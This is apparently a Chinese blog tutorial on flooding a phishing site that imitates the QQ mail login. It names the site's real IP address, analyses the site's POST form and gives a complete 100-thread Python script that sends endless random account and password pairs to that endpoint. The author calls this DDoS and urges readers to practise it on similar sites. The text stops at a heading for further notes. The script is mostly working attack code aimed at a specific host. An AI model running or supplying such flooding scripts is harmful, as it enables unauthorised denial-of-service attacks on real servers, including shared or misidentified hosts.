【python】如何优雅地跟盗号网站玩耍(python多线程和http请求基础)
一、背景
今天在群里,看到有个大佬发了个盗号网站的链接:http://154.221.20.240/Mali1/
这个网站伪装成qq邮箱登录,实际上就是骗你的qq号的,在手机上打开还真像那么回事。
之前也D过不少盗号网站,但总觉得独乐乐不如众乐乐,今天就想着把过程写下来,给大家看看。大家
没事的时候看到这种盗号网站也可以去练练手。本文章也仅仅是从较为简单的DDOS入手,至于更加高深
的渗透,博主不会,大多数人也不会,所以也就不考虑了。
二、分析网站
通过wappalyzer,可以看到这个网站运行在一台windows服务器上,一个简单的asp网页:
服务器地址在美国,web应用程序是IIS。
F12打开浏览器控制台,随便输入一个账号密码看看:
捕获了一个post请求,地址为:http://154.221.20.240/Mali1/4.asp?sn_sid=
网页反馈密码错误,然后跳到了qq邮箱的官网。
post的参数如下:
这个参数名是认真的么 – -!
我们要进行DDOS,那么就要从这个post请求入手。
三、构建DDOS程序
我们可以使用python的requests库构建http post请求,使用random库生成随机账号密码,并使用多线程来实现DDOS。
1.构建随机账号密码
def random_user_pass(): user = random.randint(10**5,10**10) #随机5-10位QQ号 password = '' password_len = random.randint(9,28) #随机9-28位密码 for i in range(password_len): code = random.randint(48,122) #取ASCII码48-122转为字符串 password += chr(code) return user,password
运行一下,随机生成了一个账号密码:
(3301962676, 'akDk@Qb3Xe71ojwap2e>Qctq@')
2.调用生成的账号密码,post给盗号网站
原理很简单,就是通过requests构建post请求,将数据发送给盗号网站,模拟网页“登录”的操作。
def d_dos(): session = requests.session() session.headers = header while True: user,password = random_user_pass() data = { 'qq':user, 'mima':password, 'MM_insert':'form1' } r = session.post(api,data=data,timeout=5) code = r.status_code if code == 200: print('提交成功...OK! 账号:{},密码: {}'.format(user,password)) else: print('提交失败...failed!')
运行一下,一瞬间提交给了盗号网站N多随机账号密码:
3.加点错误处理,保证稳定运行
上面程序设置了超时为5秒,当连接超时会报错。在http请求中,会有各种各样的错误,导致程序崩溃,所以我们这里就简单粗暴加一*个忽略所有错误的错误处理:
try: r = session.post(api,data=data,timeout=5) except: print('报错,直接跳过...') continue
4.加个多线程
单线程的请求当然是搞不死这个网站的,所以我们要对这个程序使用多线程处理:
thread_num = 100 for i in range(thread_num): threading.Thread(target=d_dos).start() print('线程{}启动...'.format(i))
这样我们就成功实现了100线程的同时请求,运行一下:
控制台疯狂刷新。
5.优化一下,加个线程锁
到上一步其实这个简单的程序已经可以使用了,但是还不够人性化,最好能显示出提交的次数,失败的次数等。但是这里是多线程,如果直接定义一个变量来存储次数的话,100个线程一起修改这个变量,最后一定会崩。好在python的多线程模块提供了线程锁,我们可以先对变量加锁,修改完了再解锁。
完整代码如下
import requestsimport threadingimport randomfrom datetime import datetimefrom time import sleeplock = threading.Lock()api = 'http://154.221.20.240/Mali1/4.asp?sn_sid='header = { 'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36'}success_count = 0error_count = 0def log(text): print(datetime.now().strftime('%Y-%m-%d %H:%M:%S'),text)def d_dos(): session = requests.session() session.headers = header global error_count global success_count while True: user,password = random_user_pass() data = { 'qq':user, 'mima':password, 'MM_insert':'form1' } try: r = session.post(api,data=data,timeout=5) except: lock.acquire() log('报错,直接跳过... *{}'.format(error_count)) error_count += 1 lock.release() continue code = r.status_code lock.acquire() if code == 200: log('提交成功...OK! *{} 账号:{},密码: {}'.format(success_count,user,password)) success_count +=1 else: log('提交失败...failed! *{} 状态码:{}'.format(error_count,r.status_code)) error_count += 1 lock.release()def random_user_pass(): user = random.randint(10**5,10**10) password = '' password_len = random.randint(9,28) for i in range(password_len): code = random.randint(48,122) password += chr(code) return user,passwordif __name__ == '__main__': thread_num = 100 for i in range(thread_num): threading.Thread(target=d_dos).start() log('线程{}启动...'.format(i)) sleep(0.1)
四、其他
以下几点注意: